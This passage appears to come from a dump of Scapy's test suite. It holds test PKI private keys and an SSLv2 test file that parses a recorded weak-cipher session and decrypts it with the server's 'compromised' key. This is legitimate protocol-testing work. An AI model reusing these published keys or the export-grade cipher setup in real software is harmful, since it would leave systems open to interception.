    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDM8fGbYC1grvKY\nDScp2cAJWUwPSjCoUt/lsSGfT8M9VpPdX8b3s/ZVi+eS4t7yhUm0oSz0/XaoZ8oE\nIGARGKbyqbamHdmq5dnbr+avVVef/1KJZeaAYoAhlLzPgRvLZ8KdtQV3BKbHiBiA\neGiVNt6XG7Zhh0IadZhFgus+MhHIm4ZCOY1NErdYGxnznSuhmILK1zsk+wk5sLzC\nlc+CKXUWKT9CIBcrTUCMVmytug80hbF/QHlxeLelBLuU97VBle58640MeWhZ78uz\n+j54Hu5nTHrd4Jnv2ufvsgldvoAgIQWDLETbXSp2KaWwI4h0B1Qi1il6kvVvLZ7n\n+CYrnFhlAgMBAAECggEAIPA9uZAimuhjOwbaJYLGt3nvnIF7AoKXU449biJeqawR\nhcHP852r2KHsrRHjbSz45JwG4rUd7gEIWdNuPTEuG9Ak99vSUQIyGnnR5JodxCw/\n8q869aVfHIaQNfV1JyLdB4XBhBhuSaFY9sTjYh/4dGbS0Cfx+titiXZ6InvfmdMD\neLd/ZO35/BwtWN3J2ntRziTTREKLeEYFEe7FtXKGwDGIsvVn7egckefKMnflhMFA\nSuoPn2VvTqmhiwSuATdx1TP4XOVdVzuL2wT7brS7qHvabRDBKdVOfrNGOoMdnnua\nursIQjQindNT8kVK8EGxws9eFr/dooYYFR72IusTfQKBgQDuQBzzKEtt86uRCbZX\nY3lu0MJnR5OOodfGBBYF9Ue+W3OJTd9EvXLSgLBLvwirB7lsNXgXf8LHCTQOtF3H\nlnB8jE5OFSDGeSKWmUwZS+KVzq8vy7Qylp9i6x4pElwGUeba6AqeZZ+jUUn/HzdB\ns2pO8YWqyOp/Zo/m8P+vPZN4fwKBgQDcNqJ4Dutt/i60E9kaktGQVQODRNMhYCEq\nE5fhwJiZ0E9FBeuKPKjo7dGIux3KPQPBv3T0zjmB+M5QERVe5/ID8iytgbHGlnsg\n916iTN9rvi1Gk518vyFPsYjX9pPiQIayRBQKOXSYIkY+6rj2384XPRlZrN8D9n3Q\n+An1JXfdGwKBgDs3YjqpnD3i35S4BkMoLUl2x6rl5m4AGeJUp6ipc0CD+G57FXA/\naieZ5rec7qmbzOFxVLz6e03/Ipo5CEoQQTsjoF7V74SFHSyzQ2/SJao4aeCGT+52\n83yhlah9sLO9bZShMep2tbvg+3RWrOQ+lMC0VRXCxE4QDtpGsjY7Jsk/AoGAPstV\niOa4O6U/rBn8zpcPKxkS51u42MuQqW7s4HMLENFVyVjm0YR6pfEqztKMrB6584Wk\n1Cn6PBW2vx4f+fAqEvX7x340M2y1r7DaS22gSBjy0C1Hu0rFNPRrESo/AUVlI3BG\nRqQbm0YqwcYs+DjZi8bgc7HX5kljlzMjo8QLagECgYA1DHAWv4WVrHt4I8V4ZCth\n9DZEtEOFpYjuoFh/xSIMZLsnvWRuyYVWcQwAqmK0Ew4m5opHFsQzABeGLVsK5aHX\nzmbYiRUuZGVpyc7c5XXomw50X8ajfQ+P21OPPc33h96cdHi2qbJIejZPia6A6ThU\nu13D93hAM6bzH6Ds5FPUQw==\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "test/scapy/layers/tls/pki/srv_key_ed25519.pem",
    "content": "-----BEGIN PRIVATE KEY-----\nMC4CAQAwBQYDK2VwBCIEIGu36oadjA6raCmwtImfAWI/DSCENM/uQCsUaClVoUTZ\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "test/scapy/layers/tls/sslv2.uts",
    "content": "% Tests for TLS module\n#\n# Try me with :\n# bash test/run_tests -t test/tls.uts -F\n\n~ crypto\n\n###############################################################################\n################# Reading SSLv2 vulnerable test session #######################\n###############################################################################\n\n# These packets come from a session between an s_server and an s_client.\n# We assume the server's private key has been retrieved. Because the cipher\n# suite does not provide PFS, we are able to break the data confidentiality.\n# With openssl version being 0.9.8v, these are exactly the commands used:\n# openssl s_server -cert test/tls/pki/srv_cert.pem -key test/tls/pki/srv_key.pem -Verify 2 -cipher EXP-RC4-MD5\n# openssl s_client -ssl2 -cert test/tls/pki/cli_cert.pem -key test/tls/pki/cli_key.pem\n\n+ Read a vulnerable SSLv2 session\n\n= Reading SSLv2 session - Loading unparsed SSLv2 records\nch = b'\\x80.\\x01\\x00\\x02\\x00\\x15\\x00\\x00\\x00\\x10\\x07\\x00\\xc0\\x05\\x00\\x80\\x03\\x00\\x80\\x01\\x00\\x80\\x06\\x00@\\x04\\x00\\x80\\x02\\x00\\x80\\x1a\\xfb/\\x9c\\xa3\\xd1)4T\\xa3\\x15(!\\xff\\xd1\\x0c'\nsh = b'\\x83\\xc0\\x04\\x00\\x01\\x00\\x02\\x03\\xa2\\x00\\x03\\x00\\x100\\x82\\x03\\x9e0\\x82\\x02\\x86\\xa0\\x03\\x02\\x01\\x02\\x02\\t\\x00\\xfe\\x04W\\r\\xc7\\'\\xe9\\xf60\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000T1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02MN1\\x140\\x12\\x06\\x03U\\x04\\x07\\x0c\\x0bUlaanbaatar1\\x170\\x15\\x06\\x03U\\x04\\x0b\\x0c\\x0eScapy Test PKI1\\x160\\x14\\x06\\x03U\\x04\\x03\\x0c\\rScapy Test CA0\\x1e\\x17\\r160916102811Z\\x17\\r260915102811Z0X1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02MN1\\x140\\x12\\x06\\x03U\\x04\\x07\\x0c\\x0bUlaanbaatar1\\x170\\x15\\x06\\x03U\\x04\\x0b\\x0c\\x0eScapy Test PKI1\\x1a0\\x18\\x06\\x03U\\x04\\x03\\x0c\\x11Scapy Test Server0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xcc\\xf1\\xf1\\x9b`-`\\xae\\xf2\\x98\\r\\')\\xd9\\xc0\\tYL\\x0fJ0\\xa8R\\xdf\\xe5\\xb1!\\x9fO\\xc3=V\\x93\\xdd_\\xc6\\xf7\\xb3\\xf6U\\x8b\\xe7\\x92\\xe2\\xde\\xf2\\x85I\\xb4\\xa1,\\xf4\\xfdv\\xa8g\\xca\\x04 `\\x11\\x18\\xa6\\xf2\\xa9\\xb6\\xa6\\x1d\\xd9\\xaa\\xe5\\xd9\\xdb\\xaf\\xe6\\xafUW\\x9f\\xffR\\x89e\\xe6\\x80b\\x80!\\x94\\xbc\\xcf\\x81\\x1b\\xcbg\\xc2\\x9d\\xb5\\x05w\\x04\\xa6\\xc7\\x88\\x18\\x80xh\\x956\\xde\\x97\\x1b\\xb6a\\x87B\\x1au\\x98E\\x82\\xeb>2\\x11\\xc8\\x9b\\x86B9\\x8dM\\x12\\xb7X\\x1b\\x19\\xf3\\x9d+\\xa1\\x98\\x82\\xca\\xd7;$\\xfb\\t9\\xb0\\xbc\\xc2\\x95\\xcf\\x82)u\\x16)?B \\x17+M@\\x8cVl\\xad\\xba\\x0f4\\x85\\xb1\\x7f@yqx\\xb7\\xa5\\x04\\xbb\\x94\\xf7\\xb5A\\x95\\xee|\\xeb\\x8d\\x0cyhY\\xef\\xcb\\xb3\\xfa>x\\x1e\\xeegLz\\xdd\\xe0\\x99\\xef\\xda\\xe7\\xef\\xb2\\t]\\xbe\\x80 !\\x05\\x83,D\\xdb]*v)\\xa5\\xb0#\\x88t\\x07T\"\\xd6)z\\x92\\xf5o-\\x9e\\xe7\\xf8&+\\x9cXe\\x02\\x03\\x01\\x00\\x01\\xa3o0m0\\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x0b\\x06\\x03U\\x1d\\x0f\\x04\\x04\\x03\\x02\\x05\\xe00\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xa1+ p\\xd2k\\x80\\xe5e\\xbc\\xeb\\x03\\x0f\\x88\\x9ft\\xad\\xdd\\xf6\\x130\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14fS\\x94\\xf4\\x15\\xd1\\xbdgh\\xb0Q725\\xe1\\xa4\\xaa\\xde\\x07|0\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x010\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00\\x81\\x88\\x92sk\\x93\\xe7\\x95\\xd6\\xddA\\xee\\x8e\\x1e\\xbd\\xa3HX\\xa7A5?{}\\xd07\\x98\\x0e\\xb8,\\x94w\\xc8Q6@\\xadY\\t(\\xc8V\\xd6\\xea[\\xac\\xb4\\xd8?h\\xb7f\\xca\\xe1V7\\xa9\\x00e\\xeaQ\\xc9\\xec\\xb2iI]\\xf9\\xe3\\xc0\\xedaT\\xc9\\x12\\x9f\\xc6\\xb0\\nsU\\xe8U5`\\xef\\x1c6\\xf0\\xda\\xd1\\x90wV\\x04\\xb8\\xab8\\xee\\xf7\\t\\xc5\\xa5\\x98\\x90#\\xea\\x1f\\xdb\\x15\\x7f2(\\x81\\xab\\x9b\\x85\\x02K\\x95\\xe77Q{\\x1bH.\\xfb>R\\xa3\\r\\xb4F\\xa9\\x92:\\x1c\\x1f\\xd7\\n\\x1eXJ\\xfa.Q\\x8f)\\xc6\\x1e\\xb8\\x0e1\\x0es\\xf1\\'\\x88\\x17\\xca\\xc8i\\x0c\\xfa\\x83\\xcd\\xb3y\\x0e\\x14\\xb0\\xb8\\x9b/:-\\t\\xe3\\xfc\\x06\\xf0:n\\xfd6;+\\x1a\\t*\\xe8\\xab_\\x8c@\\xe4\\x81\\xb2\\xbc\\xf7\\x83g\\x11nN\\x93\\xea\"\\xaf\\xff\\xa3\\x9awWv\\xd0\\x0b8\\xac\\xf8\\x8a\\x945\\x8e\\xd7\\xd4a\\xcc\\x01\\xff$\\xb4\\x8fa#\\xba\\x88\\xd7Y\\xe4\\xe9\\xba*N\\xb5\\x15\\x0f\\x9c\\xd0\\xea\\x06\\x91\\xd9\\xde\\xab\\x02\\x00\\x809\\x19R\\xa4\\xab)\\x93\\x94\\xcd\\x8a,^\\x03\\xb9\\xf1\\x80'\nmk = b\"\\x81\\x15\\x02\\x02\\x00\\x80\\x00\\x0b\\x01\\x00\\x00\\x00~\\xc2\\xf9\\x9e\\x94i\\x02\\xfe\\xed\\xc4\\xdc\\x9b\\xe0\\xe7 \\xa8\\xcct'\\xf7\\xc3\\x05\\xfc\\xa5^\\x13\\xdc\\xaa\\xf6\\xfa\\x88\\x9f\\xf9\\x89\\xc5@\\x86\\xfe\\xe3\\xe0\\x88\\xd8\\x02B%5\\x8e\\xeaV\\xd9\\x08\\xd2In\\x9aY\\xca\\x87\\x86k\\xdf\\xc3W\\x13x\\xff\\x98\\xb9!bU9\\x07R.i\\xce\\x19\\xf0\\xa0\\xc0\\x1af\\x87\\\\M&4\\x8d\\xa8G\\xc1\\xcd\\x1d\\x8a\\x95F\\t\\xba\\x07\\x193\\xb44\\x8f\\xbd+\\xbdmz\\xd0\\x11\\xa3\\xbd9\\xaaU\\xbd\\xfcX\\xbb\\xf0%V\\x1e\\xae\\xd1\\xf3\\xe9\\xa0\\xd7\\x19E\\r\\xac\\xad\\xde/mc\\xa4\\xb0\\xb0\\x12No\\xd9\\xf5\\xd9\\xb4\\xcb\\xa7\\xa5\\t\\xa6\\xb9L,\\x07\\xfc\\x9f>m4\\x96\\xadlS\\xf1b\\xdeo\\xa2\\xb6Hh\\x85\\xc5P\\xec\\x89i \\xf7\\xd6\\xa0h\\xa7\\xa4\\x95\\x8dL\\x16\\xde_\\x14\\xe3\\x18\\xb2\\x05\\x1a1g\\xdd\\x9f\\xd0\\x06\\x16\\x06\\x8c\\xd4\\xcc\\x8a\\x89\\xbc\\x9c6\\xa9\\xa1\\xa8+5\\x19g\\xd6\\x83\\x1f\\xe0\\xd8j\\x1a\\x98!\\x95Y\\xbb\\x1et\\x1e2-\\xab\\xf8\\xe3\\xb7d\\x92\\xbe\\xb0\\x1a\\xcf\\x84G\\xcc\\xf4}\\x01\\x9eq\\x14`q*z\\xeaW.\"\nsv = b'\\x80!\\xc5\\x84A`t1\\xc3\\xeaZ\\xea\\xdf\\xd9\\x87e_\\xb9j`Yb\\xbc\\xbc\\x08\\xf5\\x9c\\x9b\\xe6\\xfaF\\xa0\\x87\\x02\\x07'\ncf = b'\\x80!w\\xa2\\x88\\x83uv\\xd5|\\xde\\xbdoz\\xba&^O\\xda\\x82k\\x01L_xSx\\x08\\xe0\\x1a\\xaf\\xa0\\x07\\x93\\xa5'\nrc = b'\\x80\"\\xfe\\x03\\xe0$\\xec{\\x08-\\xe9h\\xf7\\xc9(i\\xa6N\\xd8\\xaa\\xe3\\xb2;\\xf1\\xfd\\xf5+\\x80\\xa9\\x1a*\\xb3Z\\xa7\\xbe\\xde'\ncc = b'\\x84\\xb8\\xe3j:\\xc9\\xa9OL\\x9d\\x08\\xb7\"\\xf4)<\\xf7\\x0c\\x92\\x10{u\\xd1\\t\\xccR(R\\xc2\\x02\\xe0\\n\\x85i\\xffJ\\xb7\\xc7\\xf09\\x98\\x99\\xde\\x06\\xd1\\xe2\\x1a\\xeff[.`\\x85\\xf0_gs\\x91\\'\\x0e\\x82\\x1b\\xf6\\x93\\xf34m\\x9d\\xdc=\\xf9\\xeas\\xac;\\xe3\\xcbB\\xcf`\\x899S\"\\xa8\\xf9\\x9b-\\x07<\\xfa\\xf9|j\\x11Z{\\xa1\\x1d\\xd6\\xf6\\xdbgv\\t\\xa8\\xa3[\\x85\\x82\\x02^\\x17\\xd6\\xcb\\x8e\\x08\\xae\\x87\\xa1\\x84\\xec\\x17\\x0fuX,\\xd4\\x95\\x98\\x91\\xea\\xb3o4\\x8a\\xbc\\x14\\xfc\"\\x97\\xfa_\\xf9D\\x0cB+\\x07\\x16K\\x18&\\x05x\\x97.\\xbc\\xe1\\xc4e\\xb8S\\xadwh\\x8b\\xeb\\xe0\\x10\\x01\\xd7\\x08-\\x81\\xac\\xff\\xb2\\x10\\xcf\\x14\\x99VNw\\xb618\\xbd\\xff\\x18\\x9c\\xfb\\x08\\x07\\xce{\\x03b\\x12\\x81\\x1d!t\\xf9l\\x84^d\\x0eA\\xdbj\\xb7\\xc6\\x7f3\\xf9t\\x15\\xa7)1\\x95ko\\xe6\\x95\\xd0\\xbc\\xe6S!\"\\xcaO>\\x80\\xad\\xe0|\\xb8+\\xc4\\x88me.\\xe3O\\xaf\\xe2\\x14k\\xdc\\x89\\xe9\\xc0O4\\xa7\\xc9\\xb9\\xe9a\\xf7i\\xb0\\x1eH\\xc7\\x90\\xe5ep\\xa4\\x8d2\\x9d)MD\\xb5\\xc3\\xc6G\\xdd\\xf3\\x8f\\x0e\\xe0\\xef\\x17\\x7f\\x9f\\x02\\x02\\xe7\\xd7U\\xc5\\xfc+\\x9d_\\xf4\\x1e#\\x0e\\x19\\x9cX\\xd4\\xe6\\x85\\xe5\\x1bR\\xd2\\xb1\\xdf\\x93K\\xb9\\xecD\\xbbx\\xda\\x8f\\x08u\\xee\\xad\\xb6a\\xc7\\xb1\\xed\\xd7\\xf9!/O\\xb4\\x17kg/D\\xd7/\\x9f\\x1e\\t\\xf2\\x9d\\xc3i\\xfb\\xa9V\\x19yme\\xe8\\xaa\\x0e]\\x7f\\xff\\xbf\\xdc\\xa5\\xd8b\\\\\\x14\\x11f\\xcdI\\xe5\\xb4\\xc4\\x0cl\\x87z\\xfb\\xec\\xbe\\x06G\\x05\\xf5\\xf7D.w[\\xcf)}T\\x13\\x99]L\\xeeg\\xf1\\x1f\\xcc\\xfc\\xed\\\\\\xf7Xh\\xc5\\x9f>}\\xc0\\xfb\\xce=Ngr\\x99\\xcb6^\\xdc\\x86a\\xb8w\\xd8\\xd5\\x0e\\xd7\\x1f\\xd7\\x9d\\xc52\\x10 \\xc4{\\xb0\\xb2\\xc6\\xdaJ3\\xd1R\\xd7\\xe5\\xc8\\xe4e\\xa6g[\\xa5\\xecVL\\xf4\\x15\\x0b\\x94\\x81\\xe2\\x7fU\\xff\\xf9\\x8c\\x01\\xf2\\xc1\\xae\\xc7>\\xe2U\\x89\\x92\\xc4\\t\\x95@\\x83}\\x83\\xca\\xd2\\xca\\x02-.\\xf9N&\\xbb\\xb3i\\xba\\xfe\\xcf\\x7f\\xd6t\\x03\\xb8\\x05~\\xf89[@\\xa0\\xc5u\\xf5\\xe9\\x89`jE9G1\\xad\\x18\\xccQc(T\\x1cc\\xa98\\x1e\\xf4\\xec\\xac\"\\xed$3K\\x1fM\\xa1\\xbc`3\\x81k\\x81\\xc6|\\xaeh\\x86\\xca\\xde\\x18h\\n\\x95\\xb6M*MNNTugX\\xfbC\\xfe\\xb9K\\xf4\\x01\\xa0:S\\x10\\x9b\\xf7\\x1aW\\x91\\x86\\xc7[\\xf7r\\xb8\\xc2^P\\xdf\\x14\\x90\\xc3\\x8d\\x1f\\xb0^\\xe8\\xd2\\xd9\\xd7i\\x0e\\xa1\\x0b>\\nr\\xdcl\\xce\\x8a\\x11\\xd6(\\xabq\\xd6\\x05\\x1f9\\x9c\\x7f5\\xacw\\xb0L\\x97J\\n\\x94\\xac\\x00\\xda(-@\\x0c\\xc5\\xd8\\x86\\x82\\x91\\xe2\\t\\xd7\\xc9\\xc0\\xb0\\x1fs4etn{\\xfaE\\xd4\\xce\\x9b\\xc9\\xd6B\\xe9\\xbd\\xf1.\\xd4\\xf65\\xb8[a\\x80\\x80?3\\xa7\\x0b\\x05\\xe3)\\xd3r\\xbdd\\xe9\\xd5+\\x99\\xcc\\x0f,xi(\\xbd@\\xb2\\x8b\\xe4\\xf8\\x12\\xebt\\xd5\\xdfg\\xe1\\xd4\\x16+,\\xa8e\\xf3z\\\\\\x15\\xfc\\xd0D\\xfc\\xad\\xbc\\xa5\\xad\\xa5\\xad\\xde\\xb7\"\\x18?\\x84\\r\\xe6\\xb1\\xd7io\\xea\\xf0\\xaf\\xe6;\\xaf\\xdc\\xa5@\\x7f7\\x99\\xe0\\xd2\\x00\\x0f_\\xcd\\x12\\xe5\\xf7\\x9b\\xbd\\x8b\\xa6_\\xf0\\xe5B\\xf5\\x7f\\x96\\xa8B\\xeff{,V\\x83b\\xc7Y\\xe5Z|QE\\xe3\\x8e\\xb9\\xed=\\x16\\x9e\\x9e\\xdeW\\xa7X\\x10\\x02:\\xd2\\x8bl~$\\xc2\\xd6\\xec\\xc5\\xfa=)\\x93\\xe9gJ\\x8f\\xc9\\xb5\\xb5A\\xd0\\x11]\\xb9;ks\\xfba\\x84\\xa0\\x94,W\\x1e\\x07\\x1e\\xc2j\\xa1\\x9f\\x8d\\xbb\\xe2\\xb9 \\x0f\\xac\\x9b\\xbb\\xe1\\x12\\t7\\x8eJ;\\x9d\\xd4\\x15\\x197\\x97\\xf7xo\\xcdJ\\x15(\\x88`z\\x00\\xff\\xd0R.:\\xc9\\x92\\xcbY~\\xc3\\x8ex\\xd7\\xab\\xf6q\\x98x\\x99\\xf2R;# \\x0e\\x16F\\x9b\\x15\\xff\\x90\\x08\\x06F\\x01\\xb7\\xcd\\xa0\\xbaM\\xf8xy\\x99W\\xaa\\x82\\xcc70\\x02\\x97\\x0e\\xd8\\xeb\\xdeLk\\xa4\\xe8\\xbb\\x7f\\x0fN\\xc6>hTN\\n\\xe2\\xb1\\xcc\\xb0\\xbcH\\x99\\x83]\\x0f\\x84\\x07\\xf5\\x1e\\x079\\xb0[\\xd8\\xc9I\\x93\\xa0-\\x0c\\xc2\\xd8W\\x13\\xed;\\r\\xe0S\\xe6\\x82m<\\x8b\\x0c\\xfd\\xce\\xd6\\xecA\\xe7Zm\\xeb\\x03\\x9b%p\\xfa\\xb0\\x8c^\\x7f\\xb5e\\xa8\\xb0\\x7f\\xbf\\xcd\\xbf\\x1f3\\xa3\\xb3<Qk\\xfc\\xa7>\\xddZ\\xb3\\'\\x1arO?\\x16\\x8a\\x90\\xb3n$\\xd5\\xa5\\x91\\xe2\\x91\\x00Qy\\xdb\\xcf\\xc8\\xd9xP\\x92\\xd3 \\xfd\\xb2R\\xb7\\xe0\\x8f\\x02\\xcf\\x15\\xad3\\xda\\xa8\\xe0}\\xa0\\x8c\\xfb\\xfe-\\x14\\xb3\\x85E\\xe6\\x91@1\\xb6\\n\\x90;\\xb6\\xbf\\xbb\\x16e{\\xce\\xaf\\xd7\\xdf\\xac\\xc9\\xe7-,\\xd0<\\xf8L[f~\\x13R\\xf7\\xaf\\xff\\xa3\\xe1\\x98\\x93\\x03V9\\x04\\x13y\\xaa\\x17=\\xef\\xe6`f\\xb49\\x8e3\\xc8\\xac\\x81+}\\x9a\\xaf\\xfbe\\xa0J\\xd2\\xcb?\\x870\\xd9\\x0e\\x87\\xa2\\xe1YS\\x06v\\xc51\\x18\\x9a\\x8b\\xd5\\xc8\\xdd\\x01y\\xee\\xab3\\x16\\xfd\\x93\\xc7\\x1a8\\xe9'\nsf = b'\\x80!\\xc9\\x18i\\x80\\xfb\\xe9\\xea\\xa7F\\x83n\\xaaP\\xc0\\x88\\x8a\\x03\\xce\"9p\\xbcW\\xb1r\\xac\\xcc\\xb1\\xaa\\x08\\x85\\xb4\\xe2'\nd1 = b'\\x80C\\x99\\x83z\\xc0\\xdc\\xe7\\xf0I\\x80\\x8c\\x8e\\x1c\\xc7bx\\x98\\xd3\\x84\\xd6\\x06\\xc8r\\x9b\\x197\\xd2\\xe9\\x08\\xc53s\\x88 y\\x8e)\\x9f\\xdcE*e\\xb2r\\xa2$<h\\x1c/\\x89\\x9e\\xc0\\xc2D9KWB7\\xddSi\\xb6\\xaeE\\x13\\xe2'\nd2 = b\"\\x80%\\xee'\\xc9\\xb5(\\xe3`\\xcf\\xaf\\x1b\\xa3 \\x81\\xad\\x8b0\\xc2Y\\x8eg\\xaaV\\x90\\x92\\x02\\xfe\\xd1\\xd0\\t\\xa3fE\\x88\\x97\\x85\\x08\\xf5\"\nimport binascii\n\n= Reading SSLv2 session - SSLv2 parsing does not raise any error\nt = SSLv2(ch)\n\n= Reading SSLv2 session - Record with cleartext\nassert t.len == 46\nassert not t.padlen\nassert not t.mac\nassert not t.pad\nlen(t.msg) == 1\n\n= Reading SSLv2 session - Record __getitem__\nSSLv2ClientHello in t\n\n= Reading SSLv2 session - ClientHello\nch = t.msg[0]\nassert isinstance(ch, SSLv2ClientHello)\nassert ch.msgtype == 1\nassert ch.version == 0x0002\nassert ch.cipherslen == 21\nassert not ch.sid\nassert ch.challengelen == 16\nassert ch.ciphers == [0x0700c0, 0x050080, 0x030080, 0x010080, 0x060040, 0x040080, 0x020080]\nch.challenge == binascii.unhexlify('1afb2f9ca3d1293454a3152821ffd10c')\n\n= Reading SSLv2 session - ServerHello\nt = SSLv2(sh, tls_session=t.tls_session.mirror())\nsh = t.msg[0]\nassert isinstance(sh, SSLv2ServerHello)\nassert sh.msgtype == 4\nassert sh.sid_hit == 0\nassert sh.certtype == 1\nassert sh.version == 0x0002\nassert sh.certlen == 930\nassert sh.cipherslen == 3\nassert sh.connection_idlen == 16\nassert isinstance(sh.cert, Cert)\nassert len(sh.cert.der) == 930\nassert sh.cert.subject_str == '/C=MN/L=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test Server'\nassert sh.ciphers == [0x020080]\nsh.connection_id == binascii.unhexlify('391952a4ab299394cd8a2c5e03b9f180')\n\n= Reading SSLv2 session - ClientMasterKey with unknown server key\nt_enc = SSLv2(mk)\nmk_enc = t_enc.msg[0]\nassert mk_enc.clearkeylen == 11\nassert mk_enc.encryptedkeylen == 256\nassert mk_enc.clearkey == binascii.unhexlify('7ec2f99e946902feedc4dc')\nassert mk_enc.encryptedkey[:3] == b\"\\x9b\\xe0\\xe7\" and mk_enc.encryptedkey[-3:] == b\"\\xea\\x57\\x2e\"\nassert t_enc.tls_session.pwcs.tls_version == 0x0002\nassert t_enc.tls_session.prcs.tls_version == 0x0002\nmk_enc.decryptedkey is None\n\n= Reading SSLv2 session - Importing server compromised key\nimport os\nfilename = scapy_path(\"/test/scapy/layers/tls/pki/srv_key.pem\")\nrsa_key = PrivKeyRSA(filename)\nt.tls_session.server_rsa_key = rsa_key\n\n= Reading SSLv2 session - ClientMasterKey with compromised server key\nt = SSLv2(mk, tls_session=t.tls_session.mirror())\nassert t.len == 277 and not t.padlen and not t.mac and not t.pad\nmk = t.msg[0]\nassert isinstance(mk, SSLv2ClientMasterKey)\nassert mk.msgtype == 2\nassert mk.cipher == 0x020080\nassert mk.clearkeylen == 11\nassert mk.encryptedkeylen == 256\nassert mk.keyarglen == 0\nassert mk.clearkey == binascii.unhexlify('7ec2f99e946902feedc4dc')\nassert mk.decryptedkey == binascii.unhexlify('e2d430fc04')\nnot mk.keyarg\n\n= Reading SSLv2 session - Checking session secrets\ns = t.tls_session\nassert s.sslv2_common_cs == [0x020080]\nassert s.sslv2_challenge == ch.challenge\nassert not s.pre_master_secret\nassert s.master_secret == b'~\\xc2\\xf9\\x9e\\x94i\\x02\\xfe\\xed\\xc4\\xdc\\xe2\\xd40\\xfc\\x04'\nassert s.sslv2_key_material == b'\\xf4\\xae\\x00\\x03kB>\\x06\\xba[\\xd7\\xea,\\x08\\xc2\\xae\\xba\\xf3\\x10\\xbf\\xea\\x08\\x8flV\\x11D\\xc5L\\xad3\\xf9'\nassert s.rcs.cipher.key == b'\\xba\\xf3\\x10\\xbf\\xea\\x08\\x8flV\\x11D\\xc5L\\xad3\\xf9'\ns.wcs.cipher.key == b'\\xf4\\xae\\x00\\x03kB>\\x06\\xba[\\xd7\\xea,\\x08\\xc2\\xae'\n\n= Reading SSLv2 session - Record with ciphertext\nt = SSLv2(sv, tls_session=t.tls_session.mirror())\nassert t.len == 33\nassert not t.padlen\nassert t.mac == b'?:\\xf3vE\\xf3\\xe83\\x1a\\xd0\\xab\\xba\\xb6\\x86\\xe6\\x89'\nnot t.pad\n\n= Reading SSLv2 session - ServerVerify\nsv = t.msg[0]\nassert isinstance(sv, SSLv2ServerVerify)\nassert sv.msgtype == 5\nsv.challenge == ch.challenge\n\n= Reading SSLv2 session - ClientFinished\nt = SSLv2(cf, tls_session=t.tls_session.mirror())\ncf = t.msg[0]\nassert isinstance(cf, SSLv2ClientFinished)\nassert cf.msgtype == 3\ncf.connection_id == sh.connection_id\n\n= Reading SSLv2 session - RequestCertificate\nt = SSLv2(rc, tls_session=t.tls_session.mirror())\nrc = t.msg[0]\nassert isinstance(rc, SSLv2RequestCertificate)\nassert rc.msgtype == 7\nassert rc.authtype == 1\nrc.challenge == binascii.unhexlify('19619ddf7384d68e7a614ae1989ab41e')\n\n= Reading SSLv2 session - ClientCertificate\nt = SSLv2(cc, tls_session=t.tls_session.mirror())\ncc = t.msg[0]\nassert isinstance(cc, SSLv2ClientCertificate)\nassert cc.msgtype == 8\nassert cc.certtype == 1\nassert cc.certlen == 930\nassert cc.responselen == 256\nassert isinstance(cc.certdata, Cert)\nassert len(cc.certdata.der) == 930\nassert cc.certdata.subject_str == '/C=MN/L=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test Client'\nassert len(cc.responsedata.sig_val) == 256\ncc.responsedata.sig_val[:4] == b\"\\x81#\\x95\\xb5\" and cc.responsedata.sig_val[-4:] == b\"RM6\\xd3\"\n\n= Reading SSLv2 session - ServerFinished\nt = SSLv2(sf, tls_session=t.tls_session.mirror())\nsf = t.msg[0]\nassert isinstance(sf, SSLv2ServerFinished)\nassert sf.msgtype == 6\nsf.sid == binascii.unhexlify('11c1e8070b2cf249ad3d85caf8854bc8')\n\n= Reading SSLv2 session - Application data\nt1 = SSLv2(d1, tls_session=t.tls_session.mirror())\ndata1 = t1.msg[0]\nassert isinstance(data1, Raw)\nassert data1.load == b'These are horrendous parameters for a TLS session.\\n'\nt2 = SSLv2(d2, tls_session=t1.tls_session)\ndata2 = t2.msg[0]\nassert isinstance(data2, Raw)\ndata2.load ==  b'*nothing to do here*\\n'\n\n= Reading SSLv2 session - Checking final sequence numbers\nt2.tls_session.rcs.seq_num == 6 and t2.tls_session.wcs.seq_num == 4\n\n\n###############################################################################\n####################### TLS-related scapy internals ###########################\n###############################################################################\n\n+ Check TLS-related scapy internals\n\n= Check TLS-related scapy internals - Checking raw() harmlessness (with RC4)\nt1.show()\nassert t1.msg[0].load == b'These are horrendous parameters for a TLS session.\\n'\nassert t1.tls_session.rcs.seq_num == 6 and t1.tls_session.wcs.seq_num == 4\nd1 == raw(t1)\n\n= Check TLS-related scapy internals - Checking show2() harmlessness (with RC4)\nt2.show2()\nassert t2.msg[0].load == b'*nothing to do here*\\n'\nassert t2.tls_session.rcs.seq_num == 6 and t2.tls_session.wcs.seq_num == 4\nd2 == raw(t2)\n\n= Check TLS-related scapy internals - Checking show2() harmlessness (with 3DES)\n# These are also taken from a s_client/s_server session.\nch = b'\\x80.\\x01\\x00\\x02\\x00\\x15\\x00\\x00\\x00\\x10\\x07\\x00\\xc0\\x05\\x00\\x80\\x03\\x00\\x80\\x01\\x00\\x80\\x06\\x00@\\x04\\x00\\x80\\x02\\x00\\x80!2bc\\x97^\\xa3\\r9\\x14*\\xe4\\xd6\\xd4\\n\\x1e'\nsh = 